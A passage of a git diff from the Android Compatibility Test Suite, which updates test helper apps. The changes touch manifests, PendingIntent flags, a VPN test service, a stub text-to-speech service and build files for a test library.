+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.emptydeviceowner;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserManager;
+import android.util.Log;
+
+// TODO(b/179100903): temporarily class listing to ACTION_PROFILE_OWNER_CHANGED until
+// DPMS automatically sets it for headless system user mode
+public final class ProfileOwnerChangedReceiver extends DeviceAdminReceiver {
+
+    private static final String TAG = ProfileOwnerChangedReceiver.class.getSimpleName();
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        String action = intent.getAction();
+        Log.d(TAG, "onReceive(user " + context.getUserId() + "): action=" + action);
+        if (!UserManager.isHeadlessSystemUserMode()) return;
+
+        if (!DevicePolicyManager.ACTION_PROFILE_OWNER_CHANGED.equals(action)) {
+            Log.e(TAG, "Received invalid intent: " + intent);
+            return;
+        }
+        DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
+        String packageName = context.getPackageName();
+        if (!dpm.isProfileOwnerApp(packageName)) {
+            Log.w(TAG, packageName + " is not the profile owner");
+            return;
+        }
+        ComponentName newAdmin = new ComponentName("com.android.cts.verifier",
+        "com.android.cts.verifier.managedprovisioning.DeviceAdminTestReceiver");
+        Log.d(TAG, "transferring profileship to " + newAdmin);
+        dpm.transferOwnership(EmptyDeviceAdmin.getComponentName(context), newAdmin,
+                /* bundle= */ null);
+        Log.d(TAG, "profileship transferred to " + newAdmin.flattenToShortString());
+    }
+}
diff --git a/apps/ForceStopHelperApp/Android.bp b/apps/ForceStopHelperApp/Android.bp
index 0f67ddb..85a2f6d 100644
--- a/apps/ForceStopHelperApp/Android.bp
+++ b/apps/ForceStopHelperApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsForceStopHelper",
     defaults: ["cts_defaults"],
diff --git a/apps/ForceStopHelperApp/src/com/android/cts/forcestophelper/AlarmReceiver.java b/apps/ForceStopHelperApp/src/com/android/cts/forcestophelper/AlarmReceiver.java
index a7927aa..5b371fa 100644
--- a/apps/ForceStopHelperApp/src/com/android/cts/forcestophelper/AlarmReceiver.java
+++ b/apps/ForceStopHelperApp/src/com/android/cts/forcestophelper/AlarmReceiver.java
@@ -51,6 +51,6 @@
                 .setClass(context, AlarmReceiver.class)
                 .putExtra(EXTRA_ON_ALARM, onAlarm);
         return PendingIntent.getBroadcast(context, 0, alarmIntent,
-                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE);
     }
 }
diff --git a/apps/MainlineModuleDetector/AndroidManifest.xml b/apps/MainlineModuleDetector/AndroidManifest.xml
index 4cc8f8c..dce1cae 100644
--- a/apps/MainlineModuleDetector/AndroidManifest.xml
+++ b/apps/MainlineModuleDetector/AndroidManifest.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!-- Copyright (C) 2019 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
@@ -16,15 +15,16 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.cts.mainlinemoduledetector"
-          android:versionCode="1"
-          android:versionName="1.0">
+     package="com.android.cts.mainlinemoduledetector"
+     android:versionCode="1"
+     android:versionName="1.0">
 
     <application>
-        <activity android:name=".MainlineModuleDetector">
+        <activity android:name=".MainlineModuleDetector"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/apps/NotificationBot/Android.bp b/apps/NotificationBot/Android.bp
index 13cc839..8bf28ef 100644
--- a/apps/NotificationBot/Android.bp
+++ b/apps/NotificationBot/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "NotificationBot",
     srcs: [
diff --git a/apps/NotificationBot/AndroidManifest.xml b/apps/NotificationBot/AndroidManifest.xml
index 0388cbc..95d9178 100644
--- a/apps/NotificationBot/AndroidManifest.xml
+++ b/apps/NotificationBot/AndroidManifest.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!-- Copyright (C) 2010 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
@@ -16,31 +15,34 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-      package="com.android.cts.robot"
-      android:versionCode="1"
-      android:versionName="1.0">
+     package="com.android.cts.robot"
+     android:versionCode="1"
+     android:versionName="1.0">
 
-    <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="21"/>
+    <uses-sdk android:minSdkVersion="19"
+         android:targetSdkVersion="21"/>
 
     <application android:label="@string/app_name"
-            android:icon="@drawable/icon"
-            android:debuggable="true">
+         android:icon="@drawable/icon"
+         android:debuggable="true">
 
         <!-- Required because a bare service won't show up in the app notifications list. -->
-        <activity android:name=".NotificationBotActivity">
+        <activity android:name=".NotificationBotActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
         <!-- services used by the CtsVerifier to test notifications. -->
-        <receiver android:name=".NotificationBot" android:exported="true">
+        <receiver android:name=".NotificationBot"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.robot.ACTION_POST" />
-                <action android:name="com.android.cts.robot.ACTION_CANCEL" />
-                <action android:name="com.android.cts.robot.ACTION_RESET_SETUP_NOTIFICATION" />
-                <action android:name="com.android.cts.robot.ACTION_INLINE_REPLY" />
+                <action android:name="com.android.cts.robot.ACTION_POST"/>
+                <action android:name="com.android.cts.robot.ACTION_CANCEL"/>
+                <action android:name="com.android.cts.robot.ACTION_RESET_SETUP_NOTIFICATION"/>
+                <action android:name="com.android.cts.robot.ACTION_INLINE_REPLY"/>
             </intent-filter>
         </receiver>
     </application>
diff --git a/apps/NotificationBot/src/com/android/cts/robot/NotificationBot.java b/apps/NotificationBot/src/com/android/cts/robot/NotificationBot.java
index 60991b2..eba3bac 100644
--- a/apps/NotificationBot/src/com/android/cts/robot/NotificationBot.java
+++ b/apps/NotificationBot/src/com/android/cts/robot/NotificationBot.java
@@ -131,7 +131,7 @@
                         new Intent(ACTION_INLINE_REPLY)
                                 .setComponent(new ComponentName(context, NotificationBot.class))
                                 .putExtra(EXTRA_RESET_REQUEST_INTENT, intent),
-                        PendingIntent.FLAG_UPDATE_CURRENT);
+                        PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE);
         final RemoteInput ri = new RemoteInput.Builder("result")
                 .setLabel("Type something here and press send button").build();
 
diff --git a/apps/OomCatcher/Android.bp b/apps/OomCatcher/Android.bp
index 5328900..477d8f3 100644
--- a/apps/OomCatcher/Android.bp
+++ b/apps/OomCatcher/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "OomCatcher",
     defaults: ["cts_defaults"],
diff --git a/apps/OomCatcher/AndroidManifest.xml b/apps/OomCatcher/AndroidManifest.xml
index 25513e2..daa6fb3 100644
--- a/apps/OomCatcher/AndroidManifest.xml
+++ b/apps/OomCatcher/AndroidManifest.xml
@@ -1,5 +1,4 @@
 <?xml version="1.0" encoding="utf-8"?>
-
 <!-- Copyright (C) 2018 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
@@ -16,15 +15,16 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-      package="com.android.cts.oomcatcher"
-      android:versionCode="1"
-      android:versionName="1.0">
+     package="com.android.cts.oomcatcher"
+     android:versionCode="1"
+     android:versionName="1.0">
 
     <application>
-        <activity android:name=".OomCatcher">
+        <activity android:name=".OomCatcher"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/apps/PermissionApp/Android.bp b/apps/PermissionApp/Android.bp
index 5481315..68c5996 100644
--- a/apps/PermissionApp/Android.bp
+++ b/apps/PermissionApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsPermissionApp",
     defaults: ["cts_defaults"],
@@ -27,5 +23,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/apps/PermissionApp/AndroidManifest.xml b/apps/PermissionApp/AndroidManifest.xml
index 41e5aaa..7e4c2ff 100644
--- a/apps/PermissionApp/AndroidManifest.xml
+++ b/apps/PermissionApp/AndroidManifest.xml
@@ -16,24 +16,24 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.permissionapp">
+     package="com.android.cts.permissionapp">
 
     <uses-sdk android:minSdkVersion="23"/>
 
     <permission android:name="com.android.cts.permissionapp.permA"
-                android:protectionLevel="dangerous"
-                android:label="@string/permA"
-                android:permissionGroup="com.android.cts.permissionapp.groupAB"
-                android:description="@string/permA" />
+         android:protectionLevel="dangerous"
+         android:label="@string/permA"
+         android:permissionGroup="com.android.cts.permissionapp.groupAB"
+         android:description="@string/permA"/>
     <permission android:name="com.android.cts.permissionapp.permB"
-                android:protectionLevel="dangerous"
-                android:label="@string/permB"
-                android:permissionGroup="com.android.cts.permissionapp.groupAB"
-                android:description="@string/permB" />
+         android:protectionLevel="dangerous"
+         android:label="@string/permB"
+         android:permissionGroup="com.android.cts.permissionapp.groupAB"
+         android:description="@string/permB"/>
 
     <permission-group android:description="@string/groupAB"
-                      android:label="@string/groupAB"
-                      android:name="com.android.cts.permissionapp.groupAB" />
+         android:label="@string/groupAB"
+         android:name="com.android.cts.permissionapp.groupAB"/>
 
     <uses-permission android:name="com.android.cts.permissionapp.permA"/>
     <uses-permission android:name="com.android.cts.permissionapp.permB"/>
@@ -45,15 +45,15 @@
     <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
 
     <application android:label="CtsPermissionApp"
-            android:icon="@drawable/ic_permissionapp">
-        <activity android:name=".PermissionActivity" >
+         android:icon="@drawable/ic_permissionapp">
+        <activity android:name=".PermissionActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.permission.action.CHECK_HAS_PERMISSION" />
-                <action android:name="com.android.cts.permission.action.REQUEST_PERMISSION" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.permission.action.CHECK_HAS_PERMISSION"/>
+                <action android:name="com.android.cts.permission.action.REQUEST_PERMISSION"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
     </application>
 
 </manifest>
-
diff --git a/apps/TtsTestApp/Android.bp b/apps/TtsTestApp/Android.bp
new file mode 100644
index 0000000..1270c5502
--- /dev/null
+++ b/apps/TtsTestApp/Android.bp
@@ -0,0 +1,44 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsTtsEngineSelectorTestHelper",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    manifest: "AndroidManifest.xml",
+    sdk_version: "test_current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ]
+}
+
+android_test_helper_app {
+    name: "CtsTtsEngineSelectorTestHelper2",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    manifest: "AndroidManifest.xml",
+    sdk_version: "test_current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    aaptflags: [
+	"--rename-manifest-package com.google.android.cts.tts.helper2"
+    ]
+}
diff --git a/apps/TtsTestApp/AndroidManifest.xml b/apps/TtsTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..5fdac07
--- /dev/null
+++ b/apps/TtsTestApp/AndroidManifest.xml
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.cts.tts.helper">
+<application
+  android:label="TTS CTS Test Helper App">
+  <service
+    android:name=".TTSHelperService"
+    android:exported="true">
+    <intent-filter android:priority="100">
+      <action android:name="android.intent.action.TTS_SERVICE" />
+      <category android:name="android.intent.category.DEFAULT" />
+    </intent-filter>
+  </service>
+</application>
+</manifest>
diff --git a/apps/TtsTestApp/OWNERS b/apps/TtsTestApp/OWNERS
new file mode 100644
index 0000000..c984212
--- /dev/null
+++ b/apps/TtsTestApp/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 63521
+rni@google.com
+weiguo@google.com
+joshimbriani@google.com
diff --git a/apps/TtsTestApp/src/com/android/cts/tts/helper/TTSHelperService.java b/apps/TtsTestApp/src/com/android/cts/tts/helper/TTSHelperService.java
new file mode 100644
index 0000000..33ea454
--- /dev/null
+++ b/apps/TtsTestApp/src/com/android/cts/tts/helper/TTSHelperService.java
@@ -0,0 +1,39 @@
+package com.android.cts.tts.helper;
+
+import android.speech.tts.SynthesisCallback;
+import android.speech.tts.SynthesisRequest;
+import android.speech.tts.TextToSpeech;
+import android.speech.tts.TextToSpeechService;
+
+/**
+ * Stub implementation of TTS service
+ */
+public class TTSHelperService extends TextToSpeechService {
+
+  public TTSHelperService() {}
+
+  @Override
+  protected int onIsLanguageAvailable(String lang, String country, String variant) {
+    return TextToSpeech.LANG_AVAILABLE;
+  }
+
+  @Override
+  public int onLoadLanguage(String lang, String country, String variant) {
+    return TextToSpeech.LANG_AVAILABLE;
+  }
+
+  @Override
+  protected void onStop() {
+    return;
+  }
+
+  @Override
+  protected void onSynthesizeText(SynthesisRequest request, SynthesisCallback callback) {
+    return;
+  }
+
+  @Override
+  protected String[] onGetLanguage() {
+    return new String[] {"", "", ""};
+  }
+}
diff --git a/apps/VpnApp/Android.bp b/apps/VpnApp/Android.bp
index 898f4bd..64e94fc 100644
--- a/apps/VpnApp/Android.bp
+++ b/apps/VpnApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_defaults {
     name: "CtsVpnAppDefaults",
     defaults: ["cts_defaults"],
diff --git a/apps/VpnApp/api23/AndroidManifest.xml b/apps/VpnApp/api23/AndroidManifest.xml
index cd2f19b..58b851f 100644
--- a/apps/VpnApp/api23/AndroidManifest.xml
+++ b/apps/VpnApp/api23/AndroidManifest.xml
@@ -15,13 +15,14 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.vpnfirewall">
+     package="com.android.cts.vpnfirewall">
 
     <uses-sdk android:targetSdkVersion="23"/>
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
 
     <application android:label="@string/app">
-        <activity android:name=".VpnClient">
+        <activity android:name=".VpnClient"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <action android:name="com.android.cts.vpnfirewall.action.CONNECT_AND_FINISH"/>
@@ -30,7 +31,8 @@
         </activity>
 
         <service android:name=".ReflectorVpnService"
-                android:permission="android.permission.BIND_VPN_SERVICE">
+             android:permission="android.permission.BIND_VPN_SERVICE"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.net.VpnService"/>
             </intent-filter>
diff --git a/apps/VpnApp/api24/AndroidManifest.xml b/apps/VpnApp/api24/AndroidManifest.xml
index 964e741..2787175 100644
--- a/apps/VpnApp/api24/AndroidManifest.xml
+++ b/apps/VpnApp/api24/AndroidManifest.xml
@@ -15,13 +15,14 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.vpnfirewall">
+     package="com.android.cts.vpnfirewall">
 
     <uses-sdk android:targetSdkVersion="24"/>
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
 
     <application android:label="@string/app">
-        <activity android:name=".VpnClient">
+        <activity android:name=".VpnClient"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <action android:name="com.android.cts.vpnfirewall.action.CONNECT_AND_FINISH"/>
@@ -30,9 +31,11 @@
         </activity>
 
         <service android:name=".ReflectorVpnService"
-                android:permission="android.permission.BIND_VPN_SERVICE">
+             android:permission="android.permission.BIND_VPN_SERVICE"
+             android:exported="true">
             <!-- Dummy entry below to test the default value of always-on opt-opt flag -->
-            <meta-data android:name="dummy-name" android:value="dummy-value"/>
+            <meta-data android:name="dummy-name"
+                 android:value="dummy-value"/>
             <intent-filter>
                 <action android:name="android.net.VpnService"/>
             </intent-filter>
diff --git a/apps/VpnApp/latest/AndroidManifest.xml b/apps/VpnApp/latest/AndroidManifest.xml
index 418726a..76c5e35 100644
--- a/apps/VpnApp/latest/AndroidManifest.xml
+++ b/apps/VpnApp/latest/AndroidManifest.xml
@@ -15,13 +15,14 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.vpnfirewall">
+     package="com.android.cts.vpnfirewall">
 
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
 
     <application android:label="@string/app">
-        <activity android:name=".VpnClient">
+        <activity android:name=".VpnClient"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <action android:name="com.android.cts.vpnfirewall.action.CONNECT_AND_FINISH"/>
@@ -30,7 +31,8 @@
         </activity>
 
         <service android:name=".ReflectorVpnService"
-                android:permission="android.permission.BIND_VPN_SERVICE">
+             android:permission="android.permission.BIND_VPN_SERVICE"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.net.VpnService"/>
             </intent-filter>
diff --git a/apps/VpnApp/notalwayson/AndroidManifest.xml b/apps/VpnApp/notalwayson/AndroidManifest.xml
index 4b9184e..c165d08 100644
--- a/apps/VpnApp/notalwayson/AndroidManifest.xml
+++ b/apps/VpnApp/notalwayson/AndroidManifest.xml
@@ -15,13 +15,14 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.vpnfirewall">
+     package="com.android.cts.vpnfirewall">
 
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
 
     <application android:label="@string/app">
-        <activity android:name=".VpnClient">
+        <activity android:name=".VpnClient"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <action android:name="com.android.cts.vpnfirewall.action.CONNECT_AND_FINISH"/>
@@ -30,12 +31,13 @@
         </activity>
 
         <service android:name=".ReflectorVpnService"
-                android:permission="android.permission.BIND_VPN_SERVICE">
+             android:permission="android.permission.BIND_VPN_SERVICE"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.net.VpnService"/>
             </intent-filter>
             <meta-data android:name="android.net.VpnService.SUPPORTS_ALWAYS_ON"
-                       android:value="false"/>
+                 android:value="false"/>
         </service>
     </application>
 
diff --git a/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java b/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
index 244e106..a4d583c 100755
--- a/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
+++ b/apps/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
@@ -40,6 +40,8 @@
 import java.net.UnknownHostException;
 
 public class ReflectorVpnService extends VpnService {
+    public static final String ACTION_STOP_SERVICE = "com.android.cts.vpnfirewall.STOP_SERVICE";
+
     private static final String TAG = "ReflectorVpnService";
     private static final String DEVICE_AND_PROFILE_OWNER_PACKAGE =
         "com.android.cts.deviceandprofileowner";
@@ -65,16 +67,22 @@
 
     @Override
     public int onStartCommand(Intent intent, int flags, int startId) {
-        // Put ourself in the foreground to stop the system killing us while we wait for orders from
-        // the hostside test.
-        NotificationManager notificationManager = getSystemService(NotificationManager.class);
-        notificationManager.createNotificationChannel(new NotificationChannel(
-                NOTIFICATION_CHANNEL_ID, NOTIFICATION_CHANNEL_ID,
-                NotificationManager.IMPORTANCE_DEFAULT));
-        startForeground(NOTIFICATION_ID, new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
-                .setSmallIcon(R.drawable.ic_dialog_alert)
-                .build());
-        start();
+        if (ACTION_STOP_SERVICE.equals(intent.getAction())) {
+            stop();
+            stopSelf();
+        } else {
+            // Normal service start
+            // Put ourself in the foreground to stop the system killing us while we wait for orders from
+            // the hostside test.
+            NotificationManager notificationManager = getSystemService(NotificationManager.class);
+            notificationManager.createNotificationChannel(new NotificationChannel(
+                    NOTIFICATION_CHANNEL_ID, NOTIFICATION_CHANNEL_ID,
+                    NotificationManager.IMPORTANCE_DEFAULT));
+            startForeground(NOTIFICATION_ID, new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
+                    .setSmallIcon(R.drawable.ic_dialog_alert)
+                    .build());
+            start();
+        }
         return START_NOT_STICKY;
     }
 
diff --git a/apps/VpnApp/src/com/android/cts/vpnfirewall/VpnClient.java b/apps/VpnApp/src/com/android/cts/vpnfirewall/VpnClient.java
index e4577a5..0226c3c 100644
--- a/apps/VpnApp/src/com/android/cts/vpnfirewall/VpnClient.java
+++ b/apps/VpnApp/src/com/android/cts/vpnfirewall/VpnClient.java
@@ -25,6 +25,8 @@
 
     public static final String ACTION_CONNECT_AND_FINISH =
             "com.android.cts.vpnfirewall.action.CONNECT_AND_FINISH";
+    public static final String ACTION_DISCONNECT_AND_FINISH =
+            "com.android.cts.vpnfirewall.action.DISCONNECT_AND_FINISH";
 
     private static final int REQUEST_CONNECT = 0;
     private static final int REQUEST_CONNECT_AND_FINISH = 1;
@@ -37,6 +39,13 @@
         if (ACTION_CONNECT_AND_FINISH.equals(getIntent().getAction())) {
             prepareAndStart(REQUEST_CONNECT_AND_FINISH);
         }
+        if (ACTION_DISCONNECT_AND_FINISH.equals(getIntent().getAction())) {
+            // the easiest way to stop the VpnService is to to start it with a stop action
+            Intent stopServiceIntent = new Intent(this, ReflectorVpnService.class)
+                    .setAction(ReflectorVpnService.ACTION_STOP_SERVICE);
+            startService(stopServiceIntent);
+            finish();
+        }
         findViewById(R.id.connect).setOnClickListener(v -> prepareAndStart(REQUEST_CONNECT));
     }
 
diff --git a/apps/hotspot/AndroidManifest.xml b/apps/hotspot/AndroidManifest.xml
index fd8b045..e0db7be 100644
--- a/apps/hotspot/AndroidManifest.xml
+++ b/apps/hotspot/AndroidManifest.xml
@@ -1,21 +1,24 @@
 <?xml version="1.0" encoding="utf-8"?>
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.hotspot">
 
-    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
-    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.hotspot">
+
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
     <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
     <application>
-        <activity android:name=".MainActivity">
+        <activity android:name=".MainActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <receiver android:name=".Notify" android:exported="true">
+        <receiver android:name=".Notify"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.hotspot.TEST_ACTION" />
+                <action android:name="com.android.cts.hotspot.TEST_ACTION"/>
             </intent-filter>
         </receiver>
     </application>
diff --git a/common/device-side/bedstead/OWNERS b/common/device-side/bedstead/OWNERS
new file mode 100644
index 0000000..ce3438f
--- /dev/null
+++ b/common/device-side/bedstead/OWNERS
@@ -0,0 +1,2 @@
+scottjonathan@google.com
+alexkershaw@google.com
\ No newline at end of file
diff --git a/common/device-side/bedstead/activitycontext/Android.bp b/common/device-side/bedstead/activitycontext/Android.bp
new file mode 100644
index 0000000..285b5eb
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/Android.bp
@@ -0,0 +1,30 @@
+android_library {
+    name: "ActivityContext",
+    sdk_version: "26",
+    srcs: [
+        "src/main/java/**/*.java"
+    ],
+    static_libs: [
+        "EventLib",
+        "compatibility-device-util-axt",
+    ],
+    manifest: "src/main/AndroidManifest.xml",
+}
+
+android_test {
+    name: "ActivityContextTest",
+    srcs: [
+        "src/test/java/**/*.java"
+    ],
+    test_suites: [
+        "general-tests",
+    ],
+    static_libs: [
+        "ActivityContext",
+        "androidx.test.ext.junit",
+        "ctstestrunner-axt",
+        "truth-prebuilt",
+        "testng", // Used for assertThrows
+    ],
+    manifest: "src/test/AndroidManifest.xml",
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/activitycontext/AndroidTest.xml b/common/device-side/bedstead/activitycontext/AndroidTest.xml
new file mode 100644
index 0000000..fc7e55a
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/AndroidTest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for ActivityContext test cases">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="ActivityContextTest.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="com.android.activitycontext.test" />
+    </test>
+</configuration>
\ No newline at end of file
diff --git a/common/device-side/bedstead/activitycontext/TEST_MAPPING b/common/device-side/bedstead/activitycontext/TEST_MAPPING
new file mode 100644
index 0000000..a271e3d
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "ActivityContextTest"
+    }
+  ]
+}
diff --git a/common/device-side/bedstead/activitycontext/src/main/AndroidManifest.xml b/common/device-side/bedstead/activitycontext/src/main/AndroidManifest.xml
new file mode 100644
index 0000000..37f7c0c
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/src/main/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.activitycontext">
+    <uses-sdk android:minSdkVersion="26" />
+    <application>
+        <activity android:name=".ActivityContext" android:exported="true"/>
+    </application>
+</manifest>
diff --git a/common/device-side/bedstead/activitycontext/src/main/java/com/android/activitycontext/ActivityContext.java b/common/device-side/bedstead/activitycontext/src/main/java/com/android/activitycontext/ActivityContext.java
new file mode 100644
index 0000000..4cb0a55
--- /dev/null
+++ b/common/device-side/bedstead/activitycontext/src/main/java/com/android/activitycontext/ActivityContext.java
@@ -0,0 +1,150 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
